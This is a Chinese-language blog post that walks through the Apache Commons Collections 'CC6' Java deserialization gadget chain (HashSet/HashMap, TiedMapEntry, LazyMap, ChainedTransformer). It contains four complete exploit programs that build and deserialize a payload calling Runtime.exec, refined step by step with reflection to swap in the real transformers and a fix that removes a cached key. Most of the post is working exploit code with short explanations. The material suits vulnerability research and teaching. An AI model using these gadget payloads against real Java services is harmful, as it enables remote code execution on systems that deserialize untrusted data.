0%

java_cc链6

java_cc链6

这是一条除BadAttributeValueExpException以外调用LazyMa.get方法的链子,也就是cc链5的变形

环境

  • apache commons collection3.1-3.2.1
  • jdk1.7,1.8

调用链

1
2
3
4
5
6
7
8
HashSet.readObject()->
HashMap.put()->
HashMap.hash()->
TiedMapEntry.hashCode()->
TiedMapEntry.getValue()->
LazyMap.get()->
ChainedTransformer.transform()->
InvokerTransformer.transform()->...

分析调用链

img

判断调用该代码的对象是否为LinkedHashSet类的实例,由于我们本身就是使用HashSet类调用该代码,所以this为HashMap,判断为假,实例化HashMap类,然后调用HashMap的put方法

image-20230528092213063

接着调用hash方法

其实这两步是可以省略的,我们可以看一下HashMap的readObject方法

img

这里直接就调用了hash方法,继续

img

调用key的hashcode方法,这里的key在我们调用put方法时是可以赋任意值的,将它赋值为TiedMapEntry

img

继续调用getValue方法

img

后面就和5链一样的了,就不分析了

如果是jdk1.7的版本,只需把HashMap.put()改为HashMa.putForCreate()即可

尝试编写exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
package main.java.cc6;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class test {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true");
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map useless = new HashMap<>();
useless.put("value","ycxlo");
Map lazymap = LazyMap.decorate(useless,chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"123");

HashMap hashMap = new HashMap<>();
hashMap.put(tiedMapEntry,"ycxlo");
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(hashMap);
oos.flush();
oos.close();

ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
}

弹出了计算器,但是有个异常产生

img

看了其他师傅的文章,大概是因为我们在执行这段代码时:hashMap.put(tiedMapEntry,"ycxlo");,就已经执行了计算器的命令,而并没有达成反序列化执行命令,因为HashMap的put方法代码与利用的readObject方法代码基本类似。

解决办法是:先将一个空值的Transformer赋值给chainedTransform,这样在put方法时就不会执行命令,而后利用反射修改chainedTransform的ITransformers属性为实际的Transformers数组

修改exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
package main.java.cc6;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class test {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true");
Transformer[] faketransformers = new Transformer[]{};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(faketransformers);
Map useless = new HashMap<>();
useless.put("value","ycxlo");
Map lazymap = LazyMap.decorate(useless,chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"123");

HashMap hashMap = new HashMap<>();
hashMap.put(tiedMapEntry,"ycxlo");
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer,transformers);

ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(hashMap);
oos.flush();
oos.close();

ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
}

虽说这样改完没有异常了,但是计算器没了….

调试一下,发现hash(key)中的key变成了123,而不是TiedMapEntry对象

这是因为在执行put方法时,会在LazyMap执行get方法,而执行后会出现这种情况:

img

此时key和value均为我们实例化TiedMapEntry时的key值(poc中为123),导致hashMap中被赋值一个键值对123⇒123,当我们反序列化再次调用该方法时,key的值为123,在if条件进行判断时,结果为真,跳出语句。

那解决办法也就知道了,将123这个key删除即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
package main.java.cc6;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class test {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true");
Transformer[] faketransformers = new Transformer[]{};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(faketransformers);
Map useless = new HashMap<>();
useless.put("value","ycxlo");
Map lazymap = LazyMap.decorate(useless,chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"123");

HashMap hashMap = new HashMap<>();
hashMap.put(tiedMapEntry,"ycxlo");
lazymap.remove("123");

Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer,transformers);

ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(hashMap);
oos.flush();
oos.close();

ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
}

HashSet链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
package main.java.cc6;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class cc6 {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true");
Transformer[] faketransformers = new Transformer[]{};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(faketransformers);
Map useless = new HashMap<>();
useless.put("value","ycxlo");
Map lazymap = LazyMap.decorate(useless,chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"123");

HashSet hashSet = new HashSet<>(1);
hashSet.add(tiedMapEntry);
lazymap.remove("123");

Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer,transformers);

ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(hashSet);
oos.flush();
oos.close();

ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
}